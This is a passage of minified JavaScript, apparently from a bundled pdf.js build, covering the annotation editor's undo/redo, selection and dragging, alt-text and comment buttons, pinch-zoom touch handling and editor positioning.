e;a(this,rr).undo(),A(this,J,rn).call(this,{hasSomethingToUndo:a(this,rr).hasSomethingToUndo(),hasSomethingToRedo:!0,isEmpty:A(this,J,Gc).call(this)}),(e=this._editorUndoBar)==null||e.hide()}redo(){a(this,rr).redo(),A(this,J,rn).call(this,{hasSomethingToUndo:!0,hasSomethingToRedo:a(this,rr).hasSomethingToRedo(),isEmpty:A(this,J,Gc).call(this)})}addCommands(e){a(this,rr).add(e),A(this,J,rn).call(this,{hasSomethingToUndo:!0,hasSomethingToRedo:!1,isEmpty:A(this,J,Gc).call(this)})}cleanUndoStack(e){a(this,rr).cleanType(e)}delete(){var i;this.commitOrRemove();const e=(i=this.currentLayer)==null?void 0:i.endDrawingSession(!0);if(!this.hasSelection&&!e)return;const t=e?[e]:[...a(this,Lt)],n=()=>{var s;(s=this._editorUndoBar)==null||s.show(r,t.length===1?t[0].editorType:t.length);for(const o of t)o.remove()},r=()=>{for(const s of t)A(this,J,ny).call(this,s)};this.addCommands({cmd:n,undo:r,mustExec:!0})}commitOrRemove(){var e;(e=a(this,Rn))==null||e.commitOrRemove()}hasSomethingToControl(){return a(this,Rn)||this.hasSelection}selectAll(){for(const e of a(this,Lt))e.commit();A(this,J,ry).call(this,a(this,se).values())}unselectAll(){var e,t;if(!(a(this,Rn)&&(a(this,Rn).commitOrRemove(),a(this,me)!==ct.NONE))&&!((e=a(this,ea))!=null&&e.commitOrRemove())&&((t=a(this,Pe))==null||t.destroyPopup(),!!this.hasSelection)){for(const n of a(this,Lt))n.unselect();a(this,Lt).clear(),A(this,J,rn).call(this,{hasSelectedEditor:!1})}}translateSelectedEditors(e,t,n=!1){if(n||this.commitOrRemove(),!this.hasSelection)return;a(this,ua)[0]+=e,a(this,ua)[1]+=t;const[r,i]=a(this,ua),s=[...a(this,Lt)],o=1e3;a(this,Zr)&&clearTimeout(a(this,Zr)),g(this,Zr,setTimeout(()=>{g(this,Zr,null),a(this,ua)[0]=a(this,ua)[1]=0,this.addCommands({cmd:()=>{for(const l of s)a(this,se).has(l.id)&&(l.translateInPage(r,i),l.translationDone())},undo:()=>{for(const l of s)a(this,se).has(l.id)&&(l.translateInPage(-r,-i),l.translationDone())},mustExec:!1})},o));for(const l of s)l.translateInPage(e,t),l.translationDone()}setUpDragSession(){if(this.hasSelection){this.disableUserSelect(!0),g(this,Yr,new Map);for(const e of a(this,Lt))a(this,Yr).set(e,{savedX:e.x,savedY:e.y,savedPageIndex:e.pageIndex,newX:0,newY:0,newPageIndex:-1})}}endDragSession(){if(!a(this,Yr))return!1;this.disableUserSelect(!1);const e=a(this,Yr);g(this,Yr,null);let t=!1;for(const[{x:r,y:i,pageIndex:s},o]of e)o.newX=r,o.newY=i,o.newPageIndex=s,t||(t=r!==o.savedX||i!==o.savedY||s!==o.savedPageIndex);if(!t)return!1;const n=(r,i,s,o)=>{if(a(this,se).has(r.id)){const l=a(this,te).get(o);l?r._setParentAndPosition(l,i,s):(r.pageIndex=o,r.x=i,r.y=s)}};return this.addCommands({cmd:()=>{for(const[r,{newX:i,newY:s,newPageIndex:o}]of e)n(r,i,s,o)},undo:()=>{for(const[r,{savedX:i,savedY:s,savedPageIndex:o}]of e)n(r,i,s,o)},mustExec:!0}),!0}dragSelectedEditors(e,t){if(a(this,Yr))for(const n of a(this,Yr).keys())n.drag(e,t)}rebuild(e){if(e.parent===null){const t=this.getLayer(e.pageIndex);t?(t.changeParent(e),t.addOrRebuild(e)):(this.addEditor(e),this.addToAnnotationStorage(e),e.rebuild())}else e.parent.addOrRebuild(e)}get isEditorHandlingKeyboard(){var e;return((e=this.getActive())==null?void 0:e.shouldGetKeyboardEvents())||a(this,Lt).size===1&&this.firstSelectedEditor.shouldGetKeyboardEvents()}isActive(e){return a(this,Rn)===e}getActive(){return a(this,Rn)}getMode(){return a(this,me)}isEditingMode(){return a(this,me)!==ct.NONE}get imageManager(){return dt(this,"imageManager",new Qv)}getSelectionBoxes(e){if(!e)return null;const t=document.getSelection();for(let u=0,c=t.rangeCount;u({x:(c-r)/s,y:1-(u+d-n)/i,width:f/s,height:d/i});break;case"180":o=(u,c,d,f)=>({x:1-(u+d-n)/i,y:1-(c+f-r)/s,width:d/i,height:f/s});break;case"270":o=(u,c,d,f)=>({x:1-(c+f-r)/s,y:(u-n)/i,width:f/s,height:d/i});break;default:o=(u,c,d,f)=>({x:(u-n)/i,y:(c-r)/s,width:d/i,height:f/s});break}const l=[];for(let u=0,c=t.rangeCount;u{f.type==="pointerup"&&f.button!==0||(u.abort(),l==null||l.toggleDrawing(!0),f.type==="pointerup"&&A(this,J,zc).call(this,"main_toolbar"))};window.addEventListener("pointerup",d,{signal:c}),window.addEventListener("blur",d,{signal:c})}else l==null||l.toggleDrawing(!0),A(this,J,zc).call(this,"main_toolbar")}},zc=function(e=""){a(this,me)===ct.HIGHLIGHT?this.highlightSelection(e):a(this,kd)&&A(this,J,iA).call(this)},aA=function(){document.addEventListener("selectionchange",A(this,J,sA).bind(this),{signal:this._signal})},oA=function(){if(a(this,ia))return;g(this,ia,new AbortController);const e=this.combinedSignal(a(this,ia));window.addEventListener("focus",this.focus.bind(this),{signal:e}),window.addEventListener("blur",this.blur.bind(this),{signal:e})},lA=function(){var e;(e=a(this,ia))==null||e.abort(),g(this,ia,null)},ey=function(){if(a(this,aa))return;g(this,aa,new AbortController);const e=this.combinedSignal(a(this,aa));window.addEventListener("keydown",this.keydown.bind(this),{signal:e}),window.addEventListener("keyup",this.keyup.bind(this),{signal:e})},hA=function(){var e;(e=a(this,aa))==null||e.abort(),g(this,aa,null)},uA=function(){if(a(this,ta))return;g(this,ta,new AbortController);const e=this.combinedSignal(a(this,ta));document.addEventListener("copy",this.copy.bind(this),{signal:e}),document.addEventListener("cut",this.cut.bind(this),{signal:e}),document.addEventListener("paste",this.paste.bind(this),{signal:e})},cA=function(){var e;(e=a(this,ta))==null||e.abort(),g(this,ta,null)},dA=function(){const e=this._signal;document.addEventListener("dragover",this.dragOver.bind(this),{signal:e}),document.addEventListener("drop",this.drop.bind(this),{signal:e})},rn=function(e){Object.entries(e).some(([n,r])=>a(this,Wd)[n]!==r)&&(this._eventBus.dispatch("editingstateschanged",{source:this,details:Object.assign(a(this,Wd),e)}),a(this,me)===ct.HIGHLIGHT&&e.hasSelectedEditor===!1&&A(this,J,Ii).call(this,[[gt.HIGHLIGHT_FREE,!0]]))},Ii=function(e){this._eventBus.dispatch("annotationeditorparamschanged",{source:this,details:e})},fA=async function(){if(!a(this,Bi)){g(this,Bi,!0);const e=[];for(const t of a(this,te).values())e.push(t.enable());await Promise.all(e);for(const t of a(this,se).values())t.enable()}},pA=function(){if(this.unselectAll(),a(this,Bi)){g(this,Bi,!1);for(const e of a(this,te).values())e.disable();for(const e of a(this,se).values())e.disable()}},ny=function(e){const t=a(this,te).get(e.pageIndex);t?t.addOrRebuild(e):(this.addEditor(e),this.addToAnnotationStorage(e))},gA=function(){let e=null;for(e of a(this,Lt));return e},Gc=function(){if(a(this,se).size===0)return!0;if(a(this,se).size===1)for(const e of a(this,se).values())return e.isEmpty();return!1},ry=function(e){for(const t of a(this,Lt))t.unselect();a(this,Lt).clear();for(const t of e)t.isEmpty()||(a(this,Lt).add(t),t.select());A(this,J,rn).call(this,{hasSelectedEditor:this.hasSelection})},M(Ms,"TRANSLATE_SMALL",1),M(Ms,"TRANSLATE_BIG",10),Ms);var Ie,Qr,Sr,Yh,qr,Fn,Kh,ti,yn,Ui,Do,ei,ca,Hr,Xc,Tg;const sn=class sn{constructor(e){b(this,Hr);b(this,Ie,null);b(this,Qr,!1);b(this,Sr,null);b(this,Yh,null);b(this,qr,null);b(this,Fn,null);b(this,Kh,!1);b(this,ti,null);b(this,yn,null);b(this,Ui,null);b(this,Do,null);b(this,ei,!1);g(this,yn,e),g(this,ei,e._uiManager.useNewAltTextFlow),a(sn,ca)||g(sn,ca,Object.freeze({added:"pdfjs-editor-new-alt-text-added-button","added-label":"pdfjs-editor-new-alt-text-added-button-label",missing:"pdfjs-editor-new-alt-text-missing-button","missing-label":"pdfjs-editor-new-alt-text-missing-button-label",review:"pdfjs-editor-new-alt-text-to-review-button","review-label":"pdfjs-editor-new-alt-text-to-review-button-label"}))}static initialize(e){sn._l10n??(sn._l10n=e)}async render(){const e=g(this,Sr,document.createElement("button"));e.className="altText",e.tabIndex="0";const t=g(this,Yh,document.createElement("span"));e.append(t),a(this,ei)?(e.classList.add("new"),e.setAttribute("data-l10n-id",a(sn,ca).missing),t.setAttribute("data-l10n-id",a(sn,ca)["missing-label"])):(e.setAttribute("data-l10n-id","pdfjs-editor-alt-text-button"),t.setAttribute("data-l10n-id","pdfjs-editor-alt-text-button-label"));const n=a(this,yn)._uiManager._signal;e.addEventListener("contextmenu",Er,{signal:n}),e.addEventListener("pointerdown",i=>i.stopPropagation(),{signal:n});const r=i=>{i.preventDefault(),a(this,yn)._uiManager.editAltText(a(this,yn)),a(this,ei)&&a(this,yn)._reportTelemetry({action:"pdfjs.image.alt_text.image_status_label_clicked",data:{label:a(this,Hr,Xc)}})};return e.addEventListener("click",r,{capture:!0,signal:n}),e.addEventListener("keydown",i=>{i.target===e&&i.key==="Enter"&&(g(this,Kh,!0),r(i))},{signal:n}),await A(this,Hr,Tg).call(this),e}finish(){a(this,Sr)&&(a(this,Sr).focus({focusVisible:a(this,Kh)}),g(this,Kh,!1))}isEmpty(){return a(this,ei)?a(this,Ie)===null:!a(this,Ie)&&!a(this,Qr)}hasData(){return a(this,ei)?a(this,Ie)!==null||!!a(this,Ui):this.isEmpty()}get guessedText(){return a(this,Ui)}async setGuessedText(e){a(this,Ie)===null&&(g(this,Ui,e),g(this,Do,await sn._l10n.get("pdfjs-editor-new-alt-text-generated-alt-text-with-disclaimer",{generatedAltText:e})),A(this,Hr,Tg).call(this))}toggleAltTextBadge(e=!1){var t;if(!a(this,ei)||a(this,Ie)){(t=a(this,ti))==null||t.remove(),g(this,ti,null);return}if(!a(this,ti)){const n=g(this,ti,document.createElement("div"));n.className="noAltTextBadge",a(this,yn).div.append(n)}a(this,ti).classList.toggle("hidden",!e)}serialize(e){let t=a(this,Ie);return!e&&a(this,Ui)===t&&(t=a(this,Do)),{altText:t,decorative:a(this,Qr),guessedText:a(this,Ui),textWithDisclaimer:a(this,Do)}}get data(){return{altText:a(this,Ie),decorative:a(this,Qr)}}set data({altText:e,decorative:t,guessedText:n,textWithDisclaimer:r,cancel:i=!1}){n&&(g(this,Ui,n),g(this,Do,r)),!(a(this,Ie)===e&&a(this,Qr)===t)&&(i||(g(this,Ie,e),g(this,Qr,t)),A(this,Hr,Tg).call(this))}toggle(e=!1){a(this,Sr)&&(!e&&a(this,Fn)&&(clearTimeout(a(this,Fn)),g(this,Fn,null)),a(this,Sr).disabled=!e)}shown(){a(this,yn)._reportTelemetry({action:"pdfjs.image.alt_text.image_status_label_displayed",data:{label:a(this,Hr,Xc)}})}destroy(){var e,t;(e=a(this,Sr))==null||e.remove(),g(this,Sr,null),g(this,Yh,null),g(this,qr,null),(t=a(this,ti))==null||t.remove(),g(this,ti,null)}};Ie=new WeakMap,Qr=new WeakMap,Sr=new WeakMap,Yh=new WeakMap,qr=new WeakMap,Fn=new WeakMap,Kh=new WeakMap,ti=new WeakMap,yn=new WeakMap,Ui=new WeakMap,Do=new WeakMap,ei=new WeakMap,ca=new WeakMap,Hr=new WeakSet,Xc=function(){return a(this,Ie)&&"added"||a(this,Ie)===null&&this.guessedText&&"review"||"missing"},Tg=async function(){var r,i,s;const e=a(this,Sr);if(!e)return;if(a(this,ei)){if(e.classList.toggle("done",!!a(this,Ie)),e.setAttribute("data-l10n-id",a(sn,ca)[a(this,Hr,Xc)]),(r=a(this,Yh))==null||r.setAttribute("data-l10n-id",a(sn,ca)[`${a(this,Hr,Xc)}-label`]),!a(this,Ie)){(i=a(this,qr))==null||i.remove();return}}else{if(!a(this,Ie)&&!a(this,Qr)){e.classList.remove("done"),(s=a(this,qr))==null||s.remove();return}e.classList.add("done"),e.setAttribute("data-l10n-id","pdfjs-editor-alt-text-edit-button")}let t=a(this,qr);if(!t){g(this,qr,t=document.createElement("span")),t.className="tooltip",t.setAttribute("role","tooltip"),t.id=`alt-text-tooltip-${a(this,yn).id}`;const o=100,l=a(this,yn)._uiManager._signal;l.addEventListener("abort",()=>{clearTimeout(a(this,Fn)),g(this,Fn,null)},{once:!0}),e.addEventListener("mouseenter",()=>{g(this,Fn,setTimeout(()=>{g(this,Fn,null),a(this,qr).classList.add("show"),a(this,yn)._reportTelemetry({action:"alt_text_tooltip"})},o))},{signal:l}),e.addEventListener("mouseleave",()=>{var u;a(this,Fn)&&(clearTimeout(a(this,Fn)),g(this,Fn,null)),(u=a(this,qr))==null||u.classList.remove("show")},{signal:l})}a(this,Qr)?t.setAttribute("data-l10n-id","pdfjs-editor-alt-text-decorative-tooltip"):(t.removeAttribute("data-l10n-id"),t.textContent=a(this,Ie)),t.parentNode||e.append(t);const n=a(this,yn).getElementForAltText();n==null||n.setAttribute("aria-describedby",t.id)},b(sn,ca,null),M(sn,"_l10n",null);let wm=sn;var ke,ar,Oo,zt,Xd,da,or,fa,pa,Mo,_d,iy;class lg{constructor(e){b(this,_d);b(this,ke,null);b(this,ar,null);b(this,Oo,!1);b(this,zt,null);b(this,Xd,null);b(this,da,null);b(this,or,null);b(this,fa,null);b(this,pa,!1);b(this,Mo,null);g(this,zt,e)}renderForToolbar(){const e=g(this,ar,document.createElement("button"));return e.className="comment",A(this,_d,iy).call(this,e,!1)}renderForStandalone(){const e=g(this,ke,document.createElement("button"));e.className="annotationCommentButton";const t=a(this,zt).commentButtonPosition;if(t){const{style:n}=e;n.insetInlineEnd=`calc(${100*(a(this,zt)._uiManager.direction==="ltr"?1-t[0]:t[0])}% - var(--comment-button-dim))`,n.top=`calc(${100*t[1]}% - var(--comment-button-dim))`;const r=a(this,zt).commentButtonColor;r&&(n.backgroundColor=r)}return A(this,_d,iy).call(this,e,!0)}focusButton(){setTimeout(()=>{var e;(e=a(this,ke)??a(this,ar))==null||e.focus()},0)}onUpdatedColor(){if(!a(this,ke))return;const e=a(this,zt).commentButtonColor;e&&(a(this,ke).style.backgroundColor=e),a(this,zt)._uiManager.updatePopupColor(a(this,zt))}get commentButtonWidth(){var e;return(((e=a(this,ke))==null?void 0:e.getBoundingClientRect().width)??0)/a(this,zt).parent.boundingClientRect.width}get commentPopupPositionInLayer(){if(a(this,Mo))return a(this,Mo);if(!a(this,ke))return null;const{x:e,y:t,height:n}=a(this,ke).getBoundingClientRect(),{x:r,y:i,width:s,height:o}=a(this,zt).parent.boundingClientRect;return[(e-r)/s,(t+n-i)/o]}set commentPopupPositionInLayer(e){g(this,Mo,e)}hasDefaultPopupPosition(){return a(this,Mo)===null}removeStandaloneCommentButton(){var e;(e=a(this,ke))==null||e.remove(),g(this,ke,null)}removeToolbarCommentButton(){var e;(e=a(this,ar))==null||e.remove(),g(this,ar,null)}setCommentButtonStates({selected:e,hasPopup:t}){a(this,ke)&&(a(this,ke).classList.toggle("selected",e),a(this,ke).ariaExpanded=t)}edit(e){const t=this.commentPopupPositionInLayer;let n,r;if(t)[n,r]=t;else{[n,r]=a(this,zt).commentButtonPosition;const{width:c,height:d,x:f,y:p}=a(this,zt);n=f+n*c,r=p+r*d}const i=a(this,zt).parent.boundingClientRect,{x:s,y:o,width:l,height:u}=i;a(this,zt)._uiManager.editComment(a(this,zt),s+n*l,o+r*u,{...e,parentDimensions:i})}finish(){a(this,ar)&&(a(this,ar).focus({focusVisible:a(this,Oo)}),g(this,Oo,!1))}isDeleted(){return a(this,pa)||a(this,or)===""}isEmpty(){return a(this,or)===null}hasBeenEdited(){return this.isDeleted()||a(this,or)!==a(this,Xd)}serialize(){return this.data}get data(){return{text:a(this,or),richText:a(this,da),date:a(this,fa),deleted:this.isDeleted()}}set data(e){if(e!==a(this,or)&&g(this,da,null),e===null){g(this,or,""),g(this,pa,!0);return}g(this,or,e),g(this,fa,new Date),g(this,pa,!1)}restoreData({text:e,richText:t,date:n}){g(this,or,e),g(this,da,t),g(this,fa,n),g(this,pa,!1)}setInitialText(e,t=null){g(this,Xd,e),this.data=e,g(this,fa,null),g(this,da,t)}shown(){}destroy(){var e,t;(e=a(this,ar))==null||e.remove(),g(this,ar,null),(t=a(this,ke))==null||t.remove(),g(this,ke,null),g(this,or,""),g(this,da,null),g(this,fa,null),g(this,zt,null),g(this,Oo,!1),g(this,pa,!1)}}ke=new WeakMap,ar=new WeakMap,Oo=new WeakMap,zt=new WeakMap,Xd=new WeakMap,da=new WeakMap,or=new WeakMap,fa=new WeakMap,pa=new WeakMap,Mo=new WeakMap,_d=new WeakSet,iy=function(e,t){if(!a(this,zt)._uiManager.hasCommentManager())return null;e.tabIndex="0",e.ariaHasPopup="dialog",t?(e.ariaControls="commentPopup",e.setAttribute("data-l10n-id","pdfjs-show-comment-button")):(e.ariaControlsElements=[a(this,zt)._uiManager.getCommentDialogElement()],e.setAttribute("data-l10n-id","pdfjs-editor-add-comment-button"));const n=a(this,zt)._uiManager._signal;if(!(n instanceof AbortSignal)||n.aborted)return e;e.addEventListener("contextmenu",Er,{signal:n}),t&&(e.addEventListener("focusin",i=>{a(this,zt)._focusEventsAllowed=!1,ee(i)},{capture:!0,signal:n}),e.addEventListener("focusout",i=>{a(this,zt)._focusEventsAllowed=!0,ee(i)},{capture:!0,signal:n})),e.addEventListener("pointerdown",i=>i.stopPropagation(),{signal:n});const r=i=>{i.preventDefault(),e===a(this,ar)?this.edit():a(this,zt).toggleComment(!0)};return e.addEventListener("click",r,{capture:!0,signal:n}),e.addEventListener("keydown",i=>{i.target===e&&i.key==="Enter"&&(g(this,Oo,!0),r(i))},{signal:n}),e.addEventListener("pointerenter",()=>{a(this,zt).toggleComment(!1,!0)},{signal:n}),e.addEventListener("pointerleave",()=>{a(this,zt).toggleComment(!1,!1)},{signal:n}),e};var Jh,Lo,Yd,Kd,Jd,Zd,Qd,$i,No,Hi,Bo,Vi,co,vA,yA,bA,Zh;let mA=(Zh=class{constructor({container:e,isPinchingDisabled:t=null,isPinchingStopped:n=null,onPinchStart:r=null,onPinching:i=null,onPinchEnd:s=null,signal:o}){b(this,co);b(this,Jh);b(this,Lo,!1);b(this,Yd,null);b(this,Kd);b(this,Jd);b(this,Zd);b(this,Qd);b(this,$i,null);b(this,No);b(this,Hi,null);b(this,Bo);b(this,Vi,null);g(this,Jh,e),g(this,Yd,n),g(this,Kd,t),g(this,Jd,r),g(this,Zd,i),g(this,Qd,s),g(this,Bo,new AbortController),g(this,No,AbortSignal.any([o,a(this,Bo).signal])),e.addEventListener("touchstart",A(this,co,vA).bind(this),{passive:!1,signal:a(this,No)})}get MIN_TOUCH_DISTANCE_TO_PINCH(){return 35/uh.pixelRatio}destroy(){var e,t;(e=a(this,Bo))==null||e.abort(),g(this,Bo,null),(t=a(this,$i))==null||t.abort(),g(this,$i,null)}},Jh=new WeakMap,Lo=new WeakMap,Yd=new WeakMap,Kd=new WeakMap,Jd=new WeakMap,Zd=new WeakMap,Qd=new WeakMap,$i=new WeakMap,No=new WeakMap,Hi=new WeakMap,Bo=new WeakMap,Vi=new WeakMap,co=new WeakSet,vA=function(e){var r,i,s;if((r=a(this,Kd))!=null&&r.call(this))return;if(e.touches.length===1){if(a(this,$i))return;const o=g(this,$i,new AbortController),l=AbortSignal.any([a(this,No),o.signal]),u=a(this,Jh),c={capture:!0,signal:l,passive:!1},d=f=>{var p;f.pointerType==="touch"&&((p=a(this,$i))==null||p.abort(),g(this,$i,null))};u.addEventListener("pointerdown",f=>{f.pointerType==="touch"&&(ee(f),d(f))},c),u.addEventListener("pointerup",d,c),u.addEventListener("pointercancel",d,c);return}if(!a(this,Vi)){g(this,Vi,new AbortController);const o=AbortSignal.any([a(this,No),a(this,Vi).signal]),l=a(this,Jh),u={signal:o,capture:!1,passive:!1};l.addEventListener("touchmove",A(this,co,yA).bind(this),u);const c=A(this,co,bA).bind(this);l.addEventListener("touchend",c,u),l.addEventListener("touchcancel",c,u),u.capture=!0,l.addEventListener("pointerdown",ee,u),l.addEventListener("pointermove",ee,u),l.addEventListener("pointercancel",ee,u),l.addEventListener("pointerup",ee,u),(i=a(this,Jd))==null||i.call(this)}if(ee(e),e.touches.length!==2||(s=a(this,Yd))!=null&&s.call(this)){g(this,Hi,null);return}let[t,n]=e.touches;t.identifier>n.identifier&&([t,n]=[n,t]),g(this,Hi,{touch0X:t.screenX,touch0Y:t.screenY,touch1X:n.screenX,touch1Y:n.screenY})},yA=function(e){var C;if(!a(this,Hi)||e.touches.length!==2)return;ee(e);let[t,n]=e.touches;t.identifier>n.identifier&&([t,n]=[n,t]);const{screenX:r,screenY:i}=t,{screenX:s,screenY:o}=n,l=a(this,Hi),{touch0X:u,touch0Y:c,touch1X:d,touch1Y:f}=l,p=d-u,m=f-c,v=s-r,y=o-i,E=Math.hypot(v,y)||1,S=Math.hypot(p,m)||1;if(!a(this,Lo)&&Math.abs(S-E)<=Zh.MIN_TOUCH_DISTANCE_TO_PINCH)return;if(l.touch0X=r,l.touch0Y=i,l.touch1X=s,l.touch1Y=o,!a(this,Lo)){g(this,Lo,!0);return}const w=[(r+s)/2,(i+o)/2];(C=a(this,Zd))==null||C.call(this,w,S,E)},bA=function(e){var t;e.touches.length>=2||(a(this,Vi)&&(a(this,Vi).abort(),g(this,Vi,null),(t=a(this,Qd))==null||t.call(this)),a(this,Hi)&&(ee(e),g(this,Hi,null),g(this,Lo,!1)))},Zh);var ko,Cr,Jt,Nt,Wi,Qh,ga,qd,je,jo,zi,lr,ma,tf,Uo,Dn,ef,$o,Gi,ni,qh,tu,hr,Ho,nf,jm,ot,sy,rf,ay,Pg,AA,EA,oy,Ig,ly,wA,xA,SA,hy,CA,uy,TA,PA,IA,cy,_c;const ft=class ft{constructor(e){b(this,ot);b(this,ko,null);b(this,Cr,null);b(this,Jt,null);b(this,Nt,null);b(this,Wi,null);b(this,Qh,!1);b(this,ga,null);b(this,qd,"");b(this,je,null);b(this,jo,null);b(this,zi,null);b(this,lr,null);b(this,ma,null);b(this,tf,"");b(this,Uo,!1);b(this,Dn,null);b(this,ef,!1);b(this,$o,!1);b(this,Gi,!1);b(this,ni,null);b(this,qh,0);b(this,tu,0);b(this,hr,null);b(this,Ho,null);M(this,"isSelected",!1);M(this,"_isCopy",!1);M(this,"_editToolbar",null);M(this,"_initialOptions",Object.create(null));M(this,"_initialData",null);M(this,"_isVisible",!0);M(this,"_uiManager",null);M(this,"_focusEventsAllowed",!0);b(this,nf,!1);b(this,jm,ft._zIndex++);this.parent=e.parent,this.id=e.id,this.width=this.height=null,this.pageIndex=e.parent.pageIndex,this.name=e.name,this.div=null,this._uiManager=e.uiManager,this.annotationElementId=null,this._willKeepAspectRatio=!1,this._initialOptions.isCentered=e.isCentered,this._structTreeParentId=null,this.annotationElementId=e.annotationElementId||null,this.creationDate=e.creationDate||new Date,this.modificationDate=e.modificationDate||null,this.canAddComment=!0;const{rotation:t,rawDims:{pageWidth:n,pageHeight:r,pageX:i,pageY:s}}=this.parent.viewport;this.rotation=t,this.pageRotation=(360+t-this._uiManager.viewParameters.rotation)%360,this.pageDimensions=[n,r],this.pageTranslation=[i,s];const[o,l]=this.parentDimensions;this.x=e.x/o,this.y=e.y/l,this.isAttachedToDOM=!1,this.deleted=!1}static get _resizerKeyboardManager(){const e=ft.prototype._resizeWithKeyboard,t=Cd.TRANSLATE_SMALL,n=Cd.TRANSLATE_BIG;return dt(this,"_resizerKeyboardManager",new ag([[["ArrowLeft","mac+ArrowLeft"],e,{args:[-t,0]}],[["ctrl+ArrowLeft","mac+shift+ArrowLeft"],e,{args:[-n,0]}],[["ArrowRight","mac+ArrowRight"],e,{args:[t,0]}],[["ctrl+ArrowRight","mac+shift+ArrowRight"],e,{args:[n,0]}],[["ArrowUp","mac+ArrowUp"],e,{args:[0,-t]}],[["ctrl+ArrowUp","mac+shift+ArrowUp"],e,{args:[0,-n]}],[["ArrowDown","mac+ArrowDown"],e,{args:[0,t]}],[["ctrl+ArrowDown","mac+shift+ArrowDown"],e,{args:[0,n]}],[["Escape","mac+Escape"],ft.prototype._stopResizingWithKeyboard]]))}updatePageIndex(e){this.pageIndex=e}get editorType(){return Object.getPrototypeOf(this).constructor._type}get mode(){return Object.getPrototypeOf(this).constructor._editorType}static get isDrawer(){return!1}static get _defaultLineColor(){return dt(this,"_defaultLineColor",this._colorManager.getHexCode("CanvasText"))}static deleteAnnotationElement(e){const t=new Qx({id:e._uiManager.getId(),parent:e.parent,uiManager:e._uiManager});t.annotationElementId=e.annotationElementId,t.deleted=!0,t._uiManager.addToAnnotationStorage(t)}static initialize(e,t){if(ft._l10n??(ft._l10n=e),ft._l10nResizer||(ft._l10nResizer=Object.freeze({topLeft:"pdfjs-editor-resizer-top-left",topMiddle:"pdfjs-editor-resizer-top-middle",topRight:"pdfjs-editor-resizer-top-right",middleRight:"pdfjs-editor-resizer-middle-right",bottomRight:"pdfjs-editor-resizer-bottom-right",bottomMiddle:"pdfjs-editor-resizer-bottom-middle",bottomLeft:"pdfjs-editor-resizer-bottom-left",middleLeft:"pdfjs-editor-resizer-middle-left"})),ft._borderLineWidth!==-1)return;const n=getComputedStyle(document.documentElement);ft._borderLineWidth=parseFloat(n.getPropertyValue("--outline-width"))||0}static updateDefaultParams(e,t){}static get defaultPropertiesToUpdate(){return[]}static isHandlingMimeForPasting(e){return!1}static paste(e,t){Ot("Not implemented")}get propertiesToUpdate(){return[]}get _isDraggable(){return a(this,nf)}set _isDraggable(e){var t;g(this,nf,e),(t=this.div)==null||t.classList.toggle("draggable",e)}get uid(){return this.annotationElementId||this.id}get isEnterHandled(){return!0}center(){const[e,t]=this.pageDimensions;switch(this.parentRotation){case 90:this.x-=this.height*t/(e*2),this.y+=this.width*e/(t*2);break;case 180:this.x+=this.width/2,this.y+=this.height/2;break;case 270:this.x+=this.height*t/(e*2),this.y-=this.width*e/(t*2);break;default:this.x-=this.width/2,this.y-=this.height/2;break}this.fixAndSetPosition()}addCommands(e){this._uiManager.addCommands(e)}get currentLayer(){return this._uiManager.currentLayer}setInBackground(){this.div.style.zIndex=0}setInForeground(){this.div.style.zIndex=a(this,jm)}setParent(e){var t;e!==null?(this.pageIndex=e.pageIndex,this.pageDimensions=e.pageDimensions):(A(this,ot,_c).call(this),(t=a(this,lr))==null||t.remove(),g(this,lr,null)),this.parent=e}focusin(e){this._focusEventsAllowed&&(a(this,Uo)?g(this,Uo,!1):this.parent.setSelected(this))}focusout(e){var n;if(!this._focusEventsAllowed||!this.isAttachedToDOM)return;const t=e.relatedTarget;t!=null&&t.closest(`#${this.id}`)||(e.preventDefault(),(n=this.parent)!=null&&n.isMultipleSelection||this.commitOrRemove())}commitOrRemove(){this.isEmpty()?this.remove():this.commit()}commit(){this.isInEditMode()&&this.addToAnnotationStorage()}addToAnnotationStorage(){this._uiManager.addToAnnotationStorage(this)}setAt(e,t,n,r){const[i,s]=this.parentDimensions;[n,r]=this.screenToPageTranslation(n,r),this.x=(e+n)/i,this.y=(t+r)/s,this.fixAndSetPosition()}_moveAfterPaste(e,t){if(this.isClone){delete this.isClone;return}const[n,r]=this.parentDimensions;this.setAt(e*n,t*r,this.width*n,this.height*r),this._onTranslated()}translate(e,t){A(this,ot,sy).call(this,this.parentDimensions,e,t)}translateInPage(e,t){a(this,Dn)||g(this,Dn,[this.x,this.y,this.width,this.height]),A(this,ot,sy).call(this,this.pageDimensions,e,t),this.div.scrollIntoView({block:"nearest"})}translationDone(){this._onTranslated(this.x,this.y)}drag(e,t){a(this,Dn)||g(this,Dn,[this.x,this.y,this.width,this.height]);const{div:n,parentDimensions:[r,i]}=this;if(this.x+=e/r,this.y+=t/i,this.parent&&(this.x<0||this.x>1||this.y<0||this.y>1)){const{x:d,y:f}=this.div.getBoundingClientRect();this.parent.findNewParent(this,d,f)&&(this.x-=Math.floor(this.x),this.y-=Math.floor(this.y))}let{x:s,y:o}=this;const[l,u]=this.getBaseTranslation();s+=l,o+=u;const{style:c}=n;c.left=`${(100*s).toFixed(2)}%`,c.top=`${(100*o).toFixed(2)}%`,this._onTranslating(s,o),n.scrollIntoView({block:"nearest"})}_onTranslating(e,t){}_onTranslated(e,t){}get _hasBeenMoved(){return!!a(this,Dn)&&(a(this,Dn)[0]!==this.x||a(this,Dn)[1]!==this.y)}get _hasBeenResized(){return!!a(this,Dn)&&(a(this,Dn)[2]!==this.width||a(this,Dn)[3]!==this.height)}getBaseTranslation(){const[e,t]=this.parentDimensions,{_borderLineWidth:n}=ft,r=n/e,i=n/t;switch(this.rotation){case 90:return[-r,i];case 180:return[r,i];case 270:return[r,-i];default:return[-r,-i]}}get _mustFixPosition(){return!0}fixAndSetPosition(e=this.rotation){const{div:{style:t},pageDimensions:[n,r]}=this;let{x:i,y:s,width:o,height:l}=this;if(o*=n,l*=r,i*=n,s*=r,this._mustFixPosition)switch(e){case 0:i=Qt(i,0,n-o),s=Qt(s,0,r-l);break;case 90:i=Qt(i,0,n-l),s=Qt(s,o,r);break;case 180:i=Qt(i,o,n),s=Qt(s,l,r);break;case 270:i=Qt(i,l,n),s=Qt(s,0,r-o);break}this.x=i/=n,this.y=s/=r;const[u,c]=this.getBaseTranslation();i+=u,s+=c,t.left=`${(100*i).toFixed(2)}%`,t.top=`${(100*s).toFixed(2)}%`,this.moveInDOM()}screenToPageTranslation(e,t){var n;return A(n=ft,rf,ay).call(n,e,t,this.parentRotation)}pageTranslationToScreen(e,t){var n;return A(n=ft,rf,ay).call(n,e,t,360-this.parentRotation)}get parentScale(){return this._uiManager.viewParameters.realScale}get 